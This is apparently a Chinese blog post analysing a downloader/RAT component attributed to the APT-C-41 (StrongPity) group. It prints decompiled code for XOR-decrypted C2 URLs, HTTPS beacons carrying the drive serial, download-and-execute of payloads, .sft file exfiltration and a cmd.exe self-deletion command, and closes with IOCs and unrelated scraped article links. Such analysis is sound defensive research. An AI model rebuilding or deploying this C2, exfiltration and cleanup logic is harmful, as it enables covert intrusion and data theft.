【APT】APT-C-41下载器组件样本分析
前言
APT-C-41(又被称为蓝色魔眼、Promethium、StrongPity),该APT组织最早的攻击活动可以追溯到2012年。该组织主要针对意大利、土耳其、比利时、叙利亚、欧洲等地区和国家进行攻击活动。本次捕获的样本是该组织常用的一个通用组件,主要功能是通过HTTPS协议回传数据(C盘序列号、sft文件)和下载载荷执行。个人将该组件定义为下载器,不过由于该组件也可以根据回传指令执行不同功能,定义为远控RAT也可以。
样本分析
Main函数主要功能如下:
1、创建互斥体("WURmHysJHqPPJlos")保证单实例运行
2、获取C盘序列号,分别解密出两个回连URL(C2:autoconfirmations[.]com)
3、创建进程执行%Temp%目录下的可执行程序(winmsism.exe、sppser.exe),以上两个程序由其它模块组件创建
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3 HMODULE v3; // eax
4 HWND (__stdcall *GetConsoleWindow)(); // ebx
5 HMODULE v5; // eax
6 BOOL (__stdcall *ShowWindow)(HWND, int); // esi
7 int v7; // eax
8 WCHAR Name[18]; // [esp+14h] [ebp-74h] BYREF
9 wchar_t Source[14]; // [esp+38h] [ebp-50h] BYREF
10 wchar_t v11[14]; // [esp+54h] [ebp-34h] BYREF
11 CPPEH_RECORD ms_exc; // [esp+70h] [ebp-18h]
12
13 Name[0] = 'W';
14 Name[1] = 'U';
15 Name[2] = 'R';
16 Name[3] = 'm';
17 Name[4] = 'H';
18 Name[5] = 'y';
19 Name[6] = 's';
20 Name[7] = 'J';
21 Name[8] = 'H';
22 Name[9] = 'q';
23 Name[10] = 'P';
24 Name[11] = 'P';
25 Name[12] = 'J';
26 Name[13] = 'l';
27 Name[14] = 'o';
28 Name[15] = 's';
29 Name[16] = 0;
30 v3 = GetModuleHandleA("Kernel32");
31 GetConsoleWindow = (HWND (__stdcall *)())GetProcAddress(v3, "GetConsoleWindow");
32 v5 = GetModuleHandleA("User32");
33 ShowWindow = (BOOL (__stdcall *)(HWND, int))GetProcAddress(v5, "ShowWindow");
34 v7 = ((int (__stdcall *)(_DWORD))GetConsoleWindow)(0);
35 ((void (__stdcall *)(int))ShowWindow)(v7);
36 CreateMutexW(0, 1, Name); // WURmHysJHqPPJlos
37 if ( GetLastError() != 0xB7 )
38 {
39 sub_401550(); // 获取C盘序列号、解密两个C2地址
40 Source[0] = '\\';
41 Source[1] = 'w';
42 Source[2] = 'i';
43 Source[3] = 'n';
44 Source[4] = 'm';
45 Source[5] = 's';
46 Source[6] = 'i';
47 Source[7] = 's';
48 Source[8] = 'm';
49 Source[9] = '.';
50 Source[10] = 'e';
51 Source[11] = 'x';
52 Source[12] = 'e';
53 Source[13] = 0;
54 v11[0] = '\\';
55 v11[1] = 's';
56 v11[2] = 'p';
57 v11[3] = 'p';
58 v11[4] = 's';
59 v11[5] = 'e';
60 v11[6] = 'r';
61 v11[7] = '.';
62 v11[8] = 'e';
63 v11[9] = 'x';
64 v11[10] = 'e';
65 v11[11] = 0;
66 sub_4024C4(Source); // 创建进程:winmsism.exe
67 Sleep(1500u);
68 sub_4024C4(v11); // 创建进程:sppser.exe
69 Sleep(4500u);
70 while ( 1 )
71 {
72 ms_exc.registration.TryLevel = 0;
73 sub_4013CB(); // 循环执行:主功能函数
74 Sleep(15000u);
75 ms_exc.registration.TryLevel = -2;
76 }
77 }
78 return 0;
79 }
获取C盘序列号,异或解密回连URL地址:
https://autoconfirmations[.]com/parse_ini_file.php
https://autoconfirmations[.]com/phpinfo.php
1 int sub_401550()
2 {
3 unsigned int i; // esi
4 HMODULE v1; // eax
5 BOOL (__stdcall *GetVolumeInformationW)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD); // eax
6 unsigned int v3; // eax
7 int v5; // [esp+4h] [ebp-FCh] BYREF
8 char v6[16]; // [esp+8h] [ebp-F8h] BYREF
9 __int16 v7; // [esp+18h] [ebp-E8h]
10 __int16 v8; // [esp+1Ah] [ebp-E6h]
11 __int16 v9; // [esp+1Ch] [ebp-E4h]
12 __int16 v10; // [esp+1Eh] [ebp-E2h]
13 __int16 v11; // [esp+20h] [ebp-E0h]
14 __int16 v12; // [esp+22h] [ebp-DEh]
15 __int16 v13; // [esp+24h] [ebp-DCh]
16 __int16 v14; // [esp+26h] [ebp-DAh]
17 __int16 v15; // [esp+28h] [ebp-D8h]
18 __int16 v16; // [esp+2Ah] [ebp-D6h]
19 __int16 v17; // [esp+2Ch] [ebp-D4h]
20 __int16 v18; // [esp+2Eh] [ebp-D2h]
21 __int16 v19; // [esp+30h] [ebp-D0h]
22 __int16 v20; // [esp+32h] [ebp-CEh]
23 __int16 v21; // [esp+34h] [ebp-CCh]
24 __int16 v22; // [esp+36h] [ebp-CAh]
25 __int16 v23; // [esp+38h] [ebp-C8h]
26 __int16 v24; // [esp+3Ah] [ebp-C6h]
27 __int16 v25; // [esp+3Ch] [ebp-C4h]
28 __int16 v26; // [esp+3Eh] [ebp-C2h]
29 __int16 v27; // [esp+40h] [ebp-C0h]
30 __int16 v28; // [esp+42h] [ebp-BEh]
31 __int16 v29; // [esp+44h] [ebp-BCh]
32 __int16 v30; // [esp+46h] [ebp-BAh]
33 __int16 v31; // [esp+48h] [ebp-B8h]
34 __int16 v32; // [esp+4Ah] [ebp-B6h]
35 __int16 v33; // [esp+4Ch] [ebp-B4h]
36 __int16 v34; // [esp+4Eh] [ebp-B2h]
37 __int16 v35; // [esp+50h] [ebp-B0h]
38 __int16 v36; // [esp+52h] [ebp-AEh]
39 __int16 v37; // [esp+54h] [ebp-ACh]
40 __int16 v38; // [esp+56h] [ebp-AAh]
41 __int16 v39; // [esp+58h] [ebp-A8h]
42 __int16 v40; // [esp+5Ah] [ebp-A6h]
43 __int16 v41; // [esp+5Ch] [ebp-A4h]
44 __int16 v42; // [esp+5Eh] [ebp-A2h]
45 __int16 v43; // [esp+60h] [ebp-A0h]
46 __int16 v44; // [esp+62h] [ebp-9Eh]
47 __int16 v45; // [esp+64h] [ebp-9Ch]
48 __int16 v46; // [esp+66h] [ebp-9Ah]
49 __int16 v47; // [esp+68h] [ebp-98h]
50 _WORD v48[42]; // [esp+6Ch] [ebp-94h] BYREF
51 char ArgList[2]; // [esp+C0h] [ebp-40h] BYREF
52 __int16 v50; // [esp+C2h] [ebp-3Eh]
53 __int16 v51; // [esp+C4h] [ebp-3Ch]
54 __int16 v52; // [esp+C6h] [ebp-3Ah]
55 __int16 v53; // [esp+C8h] [ebp-38h]
56 __int16 v54; // [esp+CAh] [ebp-36h]
57 __int16 v55; // [esp+CCh] [ebp-34h]
58 __int16 v56; // [esp+CEh] [ebp-32h]
59 __int16 v57; // [esp+D0h] [ebp-30h]
60 __int16 v58; // [esp+D2h] [ebp-2Eh]
61 __int16 v59; // [esp+D4h] [ebp-2Ch]
62 wchar_t Source[12]; // [esp+D8h] [ebp-28h] BYREF
63 __int16 v61[6]; // [esp+F0h] [ebp-10h] BYREF
64
65 i = 0;
66 v5 = 0;
67 if ( !GetTempPathW(0x104u, g_Source) )
68 {
69 _loaddll(0);
70 __debugbreak();
71 }
72 Source[1] = 'e'; // keymgrdata
73 Source[2] = 'y';
74 Source[3] = 'm';
75 Source[4] = 'g';
76 Source[5] = 'r';
77 Source[6] = 'd';
78 Source[7] = 'a';
79 Source[9] = 'a';
80 Source[10] = 0;
81 Source[0] = 'k';
82 Source[8] = 't';
83 wcscat_s(g_Source, 0x104u, Source); // %Temp%\keymgrdata
84 v61[0] = 'C';
85 v61[1] = ':';
86 v61[2] = '\\';
87 v61[3] = '\\';
88 v61[4] = 0;
89 v1 = GetModuleHandleA("Kernel32");
90 GetVolumeInformationW = (BOOL (__stdcall *)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD))GetProcAddress(v1, "GetVolumeInformationW");
91 GetVolumeInformationW((LPCWSTR)v61, 0, 0, (LPDWORD)&v5, 0, 0, 0, 0);// 获取C盘序列号
92 strcpy(ArgList, "v");
93 v51 = '6';
94 v50 = '2';
95 v52 = '_';
96 v53 = 'k';
97 v54 = 't';
98 v55 = '2';
99 v57 = 'p';
100 v59 = 0;
101 v56 = '0';
102 v58 = '0';
103 mySprintf(Buffer, (char *)L"%ls_%u", (char)ArgList);
104 strcpy(v6, "8");
105 strcpy(&v6[6], " ");
106 strcpy(&v6[8], "#");
107 strcpy(&v6[10], "j");
108 *(_WORD *)&v6[12] = 0x7F;
109 *(_WORD *)&v6[14] = 0x7F;
110 v8 = '%';
111 v11 = '3';
112 v13 = '>';
113 v14 = '6';
114 v15 = '9';
115 strcpy(&v6[2], "$");
116 strcpy(&v6[4], "$");
117 v9 = '$';
118 v19 = '$';
119 v20 = '9';
120 v22 = '>';
121 v23 = '#';
122 v7 = '1';
123 v10 = '?';
124 v12 = '?';
125 v16 = '"';
126 v17 = '=';
127 v18 = '1';
128 v21 = '?';
129 v24 = '~';
130 v27 = '=';
131 v28 = '\x7F';
132 v26 = '?';
133 v30 = '1';
134 v32 = '#';
135 v31 = '"';
136 v25 = '3';
137 v34 = '\x0F';
138 v38 = '\x0F';
139 v39 = '6';
140 v36 = '>';
141 v41 = '<';
142 v45 = '8';
143 v3 = 0;
144 v35 = '9';
145 v37 = '9';
146 v40 = '9';
147 v29 = ' ';
148 v33 = '5';
149 v42 = '5';
150 v43 = '~';
151 v44 = ' ';
152 v46 = ' ';
153 v47 = 0;
154 do
155 {
156 *(__m128i *)&v6[2 * v3] = _mm_xor_si128((__m128i)xmmword_415570, *(__m128i *)&v6[2 * v3]);// 解密C2:https://autoconfirmations.com/parse_ini_file.php
157 v3 += 8;
158 }
159 while ( v3 < 0x30 );
160 mySprintf(g_C2, (char *)L"%ls", (char)v6);
161 strcpy((char *)v48, "5");
162 v48[5] = 103;
163 v48[6] = 114;
164 v48[7] = 114;
165 v48[8] = 60;
166 v48[9] = 40;
167 strcpy((char *)&v48[1], ")");
168 v48[2] = 41;
169 v48[10] = 41;
170 v48[3] = 45;
171 v48[11] = 50;
172 v48[13] = 50;
173 v48[12] = 62;
174 v48[17] = 47;
175 v48[18] = 48;
176 v48[19] = 60;
177 v48[20] = 41;
178 v48[22] = 50;
179 v48[4] = 46;
180 v48[24] = 46;
181 v48[26] = 62;
182 v48[14] = 51;
183 v48[23] = 51;
184 v48[15] = 59;
185 v48[16] = 52;
186 v48[21] = 52;
187 v48[25] = 115;
188 v48[27] = 50;
189 v48[28] = 48;
190 v48[29] = 114;
191 v48[33] = 52;
192 v48[31] = 53;
193 v48[37] = 115;
194 v48[39] = 53;
195 v48[41] = 0;
196 v48[35] = 59;
197 v48[30] = 45;
198 v48[32] = 45;
199 v48[38] = 45;
200 v48[40] = 45;
201 v48[34] = 51;
202 v48[36] = 50;
203 do
204 v48[i++] ^= 0x5Du; // 解密:https://autoconfirmations.com/phpinfo.php
205 while ( i < 0x29 );
206 return mySprintf(g_C2_, (char *)L"%ls", (char)v48);
207 }
创建进程执行%Temp%目录下的可执行文件:
%Temp%\keymgrdata\winmsism.exe
%Temp%\keymgrdata\sppser.exe
1 wchar_t *__cdecl sub_4024C4(wchar_t *Source)
2 {
3 int v1; // edi
4 wchar_t *result; // eax
5 wchar_t Destination[260]; // [esp+Ch] [ebp-20Ch] BYREF
6
7 v1 = 520;
8 memset(Destination, 0, sizeof(Destination));
9 wcscat_s(Destination, 0x104u, g_Source); // %Temp%\keymgrdata
10 wcscat_s(Destination, 0x104u, Source); // %Temp%\keymgrdata\winmsism.exe
11 // %Temp%\keymgrdata\sppser.exe
12 myCreateProcess(Destination); // 创建进程执行
13 result = Destination;
14 do
15 {
16 *(_BYTE *)result = 0;
17 result = (wchar_t *)((char *)result + 1);
18 --v1;
19 }
20 while ( v1 );
21 return result;
22 }
主函数功能如下:
1、回连C2服务器,根据返回结果执行不同指令(指令1:0x21222324、指令2:0xDEEFDAAD)
2、遍历回传.sft文件(.sft文件同样由其它模块组件创建)
1 int sub_4013CB()
2 {
3 int v0; // edi
4 char *newBuff1; // esi
5 int v2; // ecx
6 char *newBuff1_; // eax
7 int v4; // ebx
8 LPVOID v5; // edx
9 _BYTE *v6; // eax
10 int i; // ecx
11 HANDLE v8; // eax
12 int v9; // ecx
13 char *v10; // eax
14 int v11; // ecx
15 int *v12; // eax
16 char *v13; // eax
17 void *dwMilliseconds; // [esp+0h] [ebp-60h]
18 LPVOID lpMem; // [esp+10h] [ebp-50h] BYREF
19 int v17; // [esp+14h] [ebp-4Ch]
20 int v18[2]; // [esp+18h] [ebp-48h] BYREF
21 int v19; // [esp+20h] [ebp-40h]
22 char *v20; // [esp+24h] [ebp-3Ch]
23 unsigned int v21; // [esp+28h] [ebp-38h]
24 char v22[20]; // [esp+3Ch] [ebp-24h] BYREF
25 char v23[12]; // [esp+50h] [ebp-10h] BYREF
26
27 v0 = 260;
28 lpMem = 0;
29 v17 = 0;
30 newBuff1 = (char *)myNew(260);
31 sub_40152F(v18);
32 strcpy(v23, "name=%ls");
33 v2 = 260;
34 newBuff1_ = newBuff1;
35 do
36 {
37 *newBuff1_++ = 0;
38 --v2;
39 }
40 while ( v2 );
41 sub_4024A8(newBuff1, v23, Buffer); // 格式化字符串,并将格式化后的数据转换成ASCII码十六进制形式
42 v18[0] = (int)g_C2; // https://autoconfirmations.com/parse_ini_file.php
43 v20 = newBuff1;
44 v19 |= 0x30u;
45 v21 = strlen(newBuff1);
46 v4 = sub_401000(v18, &lpMem); // 回连C2服务器
47 if ( lpMem )
48 {
49 sub_401DCF(&lpMem); // 根据C2返回结果,执行不同指令
50 v5 = lpMem;
51 v6 = lpMem;
52 for ( i = v17; i; --i )
53 *v6++ = 0;
54 dwMilliseconds = v5;
55 v8 = GetProcessHeap();
56 HeapFree(v8, 0, dwMilliseconds);
57 }
58 if ( v4 )
59 {
60 v9 = 260;
61 v10 = newBuff1;
62 do
63 {
64 *v10++ = 0;
65 --v9;
66 }
67 while ( v9 );
68 strcpy(v22, "name=%ls&delete=ok");
69 sub_4024A8(newBuff1, v22, Buffer);
70 v20 = newBuff1;
71 v21 = strlen(newBuff1);
72 sub_401000(v18, 0); // 回连C2服务器
73 }
74 v11 = 36;
75 v12 = v18;
76 do
77 {
78 *(_BYTE *)v12 = 0;
79 v12 = (int *)((char *)v12 + 1);
80 --v11;
81 }
82 while ( v11 );
83 v13 = newBuff1;
84 do
85 {
86 *v13++ = 0;
87 --v0;
88 }
89 while ( v0 );
90 j_j_j___free_base(newBuff1);
91 Sleep(10000u);
92 return sub_401AAF(); // 遍历回传.sft文件
93 }
回连C2服务器:https://autoconfirmations[.]com/parse_ini_file.php
发送当前软件版本与C盘序列号:"name=v26_kt20p0_3000XXXXXX"
软件版本:"v26_kt20p0"
C盘序列号:"3000XXXXXX"
1 void *__cdecl sub_4022A3(HINTERNET hConnect, LPCWSTR pwszObjectName, int a3, int a4)
2 {
3 const WCHAR *v4; // eax
4 void *v5; // esi
5 const WCHAR *v6; // ebx
6 DWORD v8; // [esp-8h] [ebp-20h]
7 int v9; // [esp+Ch] [ebp-Ch] BYREF
8 int Buffer; // [esp+10h] [ebp-8h] BYREF
9
10 Buffer = a4 & 0x40;
11 v9 = a4;
12 v4 = L"POST";
13 if ( (a4 & 0x20) == 0 )
14 v4 = L"GET";
15 v5 = WinHttpOpenRequest(hConnect, v4, pwszObjectName, 0, 0, 0, Buffer != 0 ? 0x800000 : 0);// 返回HTTP请求句柄(post:parse_ini_file.php)
16 if ( v5 )
17 {
18 v6 = 0;
19 if ( !*(_DWORD *)(a3 + 20) )
20 {
21 v6 = L"Content-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\nConnection: close\r\n";
22 if ( (v9 & 0x30) != 0 )
23 v6 = L"Content-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n";
24 WinHttpAddRequestHeaders(v5, v6, 0xFFFFFFFF, 0x20000000u);
25 }
26 if ( *(_DWORD *)(a3 + 24) )
27 WinHttpAddRequestHeaders(v5, *(LPCWSTR *)(a3 + 24), 0xFFFFFFFF, 0xA0000000);
28 if ( *(_DWORD *)(a3 + 28) )
29 WinHttpAddRequestHeaders(v5, *(LPCWSTR *)(a3 + 28), 0xFFFFFFFF, 0xA0000000);
30 if ( Buffer )
31 {
32 Buffer = 0x3300;
33 WinHttpSetOption(v5, 0x1Fu, &Buffer, 4u);
34 }
35 if ( WinHttpSendRequest(v5, v6, 0xFFFFFFFF, 0, 0, *(_DWORD *)(a3 + 16), 0) )// 发送HTTP请求
36 {
37 Buffer = 4;
38 v8 = *(_DWORD *)(a3 + 16);
39 v9 = 0;
40 if ( WinHttpWriteData(v5, *(LPCVOID *)(a3 + 12), v8, 0) )// 发送HTTP数据:
41 // 第一次:"name=v26_kt20p0_3000XXXXXX"
42 // 第二次:"name=v26_kt20p0_3000XXXXXX&delete=ok"
43 {
44 if ( WinHttpReceiveResponse(v5, 0)
45 && WinHttpQueryHeaders(v5, 0x20000013u, 0, &v9, (LPDWORD)&Buffer, 0)
46 && v9 == 200 )
47 {
48 return v5; // 如果数据发送成功,返回HTTP句柄
49 }
50 }
51 }
52 WinHttpCloseHandle(v5);
53 }
54 return 0;
55 }
如果C2返回数据:则数据的前4字节为指令ID,程序会根据不同的指令执行不同操作:
指令1:解密返回数据,保存到本地(%Temp\keymgrdata%)然后创建进程执行
指令2:清理作案环境,删除(%Temp\keymgrdata%)目录及其文件,然后结束进程
(cmd.exe /C ping 2.7.6.5 -n 3 -w 4444 & rmdir /Q /S "C:\Users\admin\AppData\Local\Temp\keymgrdata")
1 char *__cdecl sub_401DCF(int **a1)
2 {
3 int *v1; // edi
4 int v2; // eax
5 _WORD *v3; // edi
6 __int16 v4; // ax
7 _WORD *v5; // edi
8 __int16 v6; // ax
9 wchar_t *v7; // edx
10 unsigned int v9; // edx
11 _WORD *v10; // edi
12 __int16 v11; // ax
13 char *v12; // edi
14 __int16 v13; // ax
15 int v14; // esi
16 int v15; // ecx
17 WCHAR *v16; // eax
18 char *result; // eax
19 _BYTE *v18; // ecx
20 unsigned int v19; // esi
21 unsigned int i; // eax
22 unsigned int j; // edx
23 unsigned int k; // edx
24 unsigned int v23; // eax
25 WCHAR *v24; // eax
26 int v25; // ecx
27 int v26; // ecx
28 char *v27; // eax
29 int v28; // eax
30 _DWORD *v29; // ecx
31 HANDLE v30; // ecx
32 HANDLE hObject; // [esp+10h] [ebp-88Ch]
33 unsigned int v32; // [esp+18h] [ebp-884h]
34 _DWORD *v33; // [esp+1Ch] [ebp-880h]
35 struct _PROCESS_INFORMATION ProcessInformation; // [esp+20h] [ebp-87Ch] BYREF
36 struct _STARTUPINFOW StartupInfo; // [esp+30h] [ebp-86Ch] BYREF
37 DWORD NumberOfBytesWritten; // [esp+74h] [ebp-828h] BYREF
38 WCHAR CommandLine[512]; // [esp+78h] [ebp-824h] BYREF
39 char Buffer[520]; // [esp+478h] [ebp-424h] BYREF
40 WCHAR FileName[268]; // [esp+680h] [ebp-21Ch] BYREF
41 int v40; // [esp+898h] [ebp-4h]
42
43 v40 = 0;
44 v1 = *a1;
45 v2 = **a1;
46 if ( v2 == 0x21222324 ) // 指令1:解密服务器返回数据并执行
47 {
48 v18 = v1 + 4;
49 v33 = v1 + 4;
50 v19 = (unsigned int)v1[3] >> 2;
51 for ( i = v1[3] & 3; v19; --v19 )
52 {
53 for ( j = 0; j < 4; ++j )
54 *v18++ ^= *((_BYTE *)v1 + j + 4);
55 }
56 for ( k = 0; k < i; ++k )
57 *v18++ ^= *((_BYTE *)v1 + k + 4);
58 v23 = 0;
59 v14 = 520;
60 while ( 1 )
61 {
62 v32 = v23;
63 if ( v23 >= v1[2] ) // v1[2] == [buff+8]
64 goto LABEL_15;
65 NumberOfBytesWritten = 0;
66 v24 = FileName;
67 v25 = 520;
68 do
69 {
70 *(_BYTE *)v24 = 0;
71 v24 = (WCHAR *)((char *)v24 + 1);
72 --v25;
73 }
74 while ( v25 );
75 v26 = 520;
76 v27 = Buffer;
77 do
78 {
79 *v27++ = 0;
80 --v26;
81 }
82 while ( v26 );
83 mySprintf(Buffer, (char *)L"%ls", g_Source);
84 mySprintf((char *)FileName, (char *)L"%ls\\%hs", Buffer, v33);
85 v28 = sub_4023F1(0, (char *)v33 + 41, *(_DWORD *)((char *)v33 + 37));
86 v29 = v33;
87 if ( v28 == *(_DWORD *)((char *)v33 + 33) )
88 {
89 v30 = CreateFileW(FileName, 0xC0000000, 1u, 0, 2u, 0x80u, 0);
90 hObject = v30;
91 if ( v30 != (HANDLE)-1 )
92 {
93 WriteFile(v30, (char *)v33 + 41, *(_DWORD *)((char *)v33 + 37), &NumberOfBytesWritten, 0);
94 CloseHandle(hObject);
95 v29 = v33;
96 if ( !*((_BYTE *)v33 + 32) )
97 goto LABEL_37;
98 myCreateProcess(FileName);
99 }
100 v29 = v33;
101 }
102 LABEL_37:
103 v33 = (_DWORD *)((char *)v29 + *(_DWORD *)((char *)v29 + 37) + 41);
104 v23 = v32 + 1;
105 }
106 }
107 if ( v2 == 0xDEEFDAAD ) // 指令2:清理作案环境
108 {
109 memset(CommandLine, 0, sizeof(CommandLine));
110 memset(&StartupInfo, 0, sizeof(StartupInfo));
111 v3 = (_WORD *)&NumberOfBytesWritten + 1;
112 ProcessInformation = 0i64;
113 do
114 {
115 v4 = v3[1];
116 ++v3;
117 }
118 while ( v4 );
119 qmemcpy(v3, L"cmd.exe /C ping 2.7.6.5 -n 3 ", 0x3Cu);
120 v5 = (_WORD *)&NumberOfBytesWritten + 1;
121 do
122 {
123 v6 = v5[1];
124 ++v5;
125 }
126 while ( v6 );
127 v7 = g_Source;
128 qmemcpy(v5, L"-w 4444 & rmdir /Q /S \"", 0x30u);
129 while ( *v7++ )
130 ;
131 v9 = (char *)v7 - (char *)g_Source;
132 v10 = (_WORD *)&NumberOfBytesWritten + 1;
133 do
134 {
135 v11 = v10[1];
136 ++v10;
137 }
138 while ( v11 );
139 qmemcpy(v10, g_Source, v9);
140 v12 = (char *)&NumberOfBytesWritten + 2;
141 do
142 {
143 v13 = *((_WORD *)v12 + 1);
144 v12 += 2;
145 }
146 while ( v13 );
147 *(_DWORD *)v12 = 34;
148 CreateProcessW(0, CommandLine, 0, 0, 0, 0x8000000u, 0, 0, &StartupInfo, &ProcessInformation);
149 CloseHandle(ProcessInformation.hThread);
150 CloseHandle(ProcessInformation.hProcess);
151 _loaddll(0); // 结束进程
152 }
153 v14 = 520;
154 LABEL_15:
155 v15 = 520;
156 v16 = FileName;
157 do
158 {
159 *(_BYTE *)v16 = 0;
160 v16 = (WCHAR *)((char *)v16 + 1);
161 --v15;
162 }
163 while ( v15 );
164 result = Buffer;
165 do
166 {
167 *result++ = 0;
168 --v14;
169 }
170 while ( v14 );
171 return result;
172 }
如果C2没有返回数据:则发送如下数据到服务器:"name=v26_kt20p0_3000XXXXXX&delete=ok"
回连C2服务器:https://autoconfirmations[.]com/parse_ini_file.php
发送(%Temp\keymgrdata%)目录下的所有 .sft 隐藏文件:
发送数据如下所示:
发送成功后删除 .sft 文件:
IOCS
08ecc9b5acdfc237d067a73a1cd7c88a
192.36.27.20
autoconfirmations.com
https://autoconfirmations[.]com/phpinfo.php
https://autoconfirmations[.]com/parse_ini_file.php
【APT】APT-C-41下载器组件样本分析的更多相关文章
- 使用NB Exploit Kit攻击的APT样本分析——直接看流程图,就是网页挂马,利用java和flash等漏洞来在你主机安装和运行恶意软件
使用NB Exploit Kit攻击的APT样本分析 from:https://cloud.tencent.com/developer/article/1092136 1.起因 近期,安恒工程师在某网 ...
- CTB-LOCKER敲诈者病毒下载器脱壳之样本1
一.病毒简介 CTB-LOCKER敲诈者病毒最初是在国外被发现的,该病毒是有两部分组成分别是下载器部分和文档加密部分.病毒作者将下载器程序部分伪装成邮件附件发送给一些大公司的员工或者高管,当这些人下载 ...
- 一个urllib2构建的html下载器的代理组件的实现方案
调用栈/函数链如下: 情形一:下载器初始化时 __init__ buildOpener#构建opener newProxy4Opener#装备代理 getNewProxy#获取代理 maintainP ...
- Whl自助搜索下载器
本文转载自以下链接:https://github.com/Light-City/AutoDownloadWhl 源码地址: https://github.com/Light-City/AutoDown ...
- Android开发多线程断点续传下载器
使用多线程断点续传下载器在下载的时候多个线程并发可以占用服务器端更多资源,从而加快下载速度,在下载过程中记录每个线程已拷贝数据的数量,如果下载中断,比如无信号断线.电量不足等情况下,这就需要使用到断点 ...
- 在firefox的flashgot中配置各种下载器
一.在firefox中安装flashgot下载管理器 flashgot是firefox的一个扩展,在联网的情况下,可以在firefox中的附加组件中搜索flashgot,然后安装. 二.在flashg ...
- DjangoRestFramework 学习之restful规范 APIview 解析器组件 Postman等
DjangoRestFramework学习一之restful规范.APIview.解析器组件.Postman等 本节目录 一 预备知识 二 restful规范 三 DRF的APIView和解析器组件 ...
- Scrapy学习篇(十)之下载器中间件(Downloader Middleware)
下载器中间件是介于Scrapy的request/response处理的钩子框架,是用于全局修改Scrapy request和response的一个轻量.底层的系统. 激活Downloader Midd ...
- day89 DjangoRsetFramework学习---restful规范,解析器组件,Postman等
DjangoRsetFramework学习---restful规范,解析器组件,Postman等 本节目录 一 预备知识 二 restful规范 三 DRF的APIView和解析 ...
- 用tkinter写出you-get下载器界面,并用pyinstaller打包成exe文件
本文为原创文章,转载请标明出处 一.you-get介绍 you-get是一个基于 python 3 的下载工具,使用 you-get 可以很轻松的下载到网络上的视频.图片及音乐.目前支持网易云音乐.A ...
随机推荐
- Postman配置多环境请求地址
在使用Postman测试接口时,一个项目往往有多个环境(测试.正式等),请求不同环境的接口一般只是IP和端口不一样. 这时候我们可以定义多个环境变量,在接口地址中进行引用. 一.添加环境变量 1.点击 ...
- Neural Network模型复杂度之Weight Decay - Python实现
背景介绍Neural Network之模型复杂度主要取决于优化参数个数与参数变化范围. 优化参数个数可手动调节, 参数变化范围可通过正则化技术加以限制. 正则化技术之含义是: 引入额外的条件, 对fu ...
- MySQL---MGR保姆版
一.环境清理: 三台机器都做: 1.修改主机名 2.修改/etc/hosts文件 3.关闭和禁用防火墙 4.关闭和禁用SELinux 5.生成密钥对 6.传输密钥对 7.验证免密登陆 yum remo ...
- [笔记] Android开发中的gradle是什么?
gradle是什么? 先看下文档中的介绍 https://docs.gradle.org/current/userguide/what_is_gradle.html Gradle is an op ...
- C#消息泵探索(一)
消息泵 消息泵,又叫消息循环. 消息循环使用一个图形化用户界面下Microsoft Windows.具有GUI的Windows 程序是由事件驱动的.Windows为每个创建窗口的线程维护一个单独的消 ...
- Vue中v-if和v-for一起使用时的优先级
问题:Vue2.0中v-if和v-for一起使用时报错,怎么解决呢? 代码和报错信息如下 原因和解决办法: 在处于同一节点的时候,v-for 优先级比 v-if 高.这意味着 v-if 将分别重 ...
- pyton3 字典排序
1. 字典排序 d={'a':1,'c':3,'b':2} d1={k:d[k] for k in sorted(d)}
- Python学习:画K帮
import datetime import pandas_datareader.data as web df_stockload = web.DataReader("600797.SS&q ...
- vue3 深度选择器 scss用法
使用 :deep() 替换 ::v-deep .carousel { // Vue 2.0 写法 // ::v-deep .carousel-btn.prev { // left: 270px; // ...
- 整合jUnit4和jUnit5
整合jUnit4 1.引入依赖 <dependency> <groupId>org.springframework</groupId> <artifactId ...